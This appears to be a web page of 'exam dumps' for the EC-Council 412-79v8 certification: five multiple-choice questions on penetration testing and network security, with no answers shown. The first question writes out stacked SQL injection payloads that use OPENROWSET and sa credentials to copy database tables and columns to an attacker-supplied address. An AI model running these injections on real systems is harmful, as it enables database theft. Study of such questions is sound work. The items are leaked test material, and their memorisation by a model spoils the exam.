Free EC-COUNCIL 412-79v8 Exam Dumps Questions & Answers

A penetration tester tries to transfer the database from the target machine to a different machine. For this, he uses OPENROWSET to link the target database to his own database, replicates the database structure, and transfers the data to his machine by via a connection to the remote machine on port 80.
The query he used to transfer databases was:
'; insert into OPENROWSET ('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases') select * from master.dbo.sysdatabases -
The query he used to transfer table 1 was:
'; insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..table1') select * from database..table1 -
What query does he need in order to transfer the column?

• A.  '; insert into OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;','sel ect * from mydatabase..hacked_syscolumns') select * from user_database.dbo.sysrows -
• B.  '; insert into OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;','sel ect *from mydatabase..hacked_syscolumns') select * from user_database.dbo.systables -
• C.  '; insert into OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;','sel ect * from mydatabase..hacked_syscolumns') select * from user_database.dbo.syscolumns -
• D.  '; insert into OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;','sel ect * from mydatabase..hacked_syscolumns') select * from user_tables.dbo.syscolumns -

Which of the following methods is used to perform server discovery?

• A.  Banner Grabbing
• B.  SessionHijacking
• C.  SQL Injection
• D.  Whois Lookup

ARP spoofing is a technique whereby an attacker sends fake ("spoofed") Address Resolution Protocol (ARP) messages onto a Local Area Network. Generally, the aim is to associate the attacker's MAC address with the IP address of another host (such as the default gateway), causing any traffic meant for that IP address to be sent to the attacker instead.
ARP spoofing attack is used as an opening for other attacks.

What type of attack would you launch after successfully deploying ARP spoofing?

• A.  Parameter Filtering
• B.  Session Hijacking
• C.  Input Validation
• D.  Social Engineering

The SnortMain () function begins by associating a set of handlers for the signals, Snort receives. It does this using the signal () function. Which one of the following functions is used as a programspecific signal and the handler for this calls the DropStats() function to output the current Snort statistics?

• A.  SIGTERM
• B.  SIGHUP
• C.  SIGINT
• D.  SIGUSR1

Which of the following will not handle routing protocols properly?

• A.  "Internet-firewall-router-net architecture"
• B.  "Internet-firewall/router(edge device)-net architecture"
• C.  "Internet-router-firewall-net architecture"
• D.  "Internet-firewall -net architecture"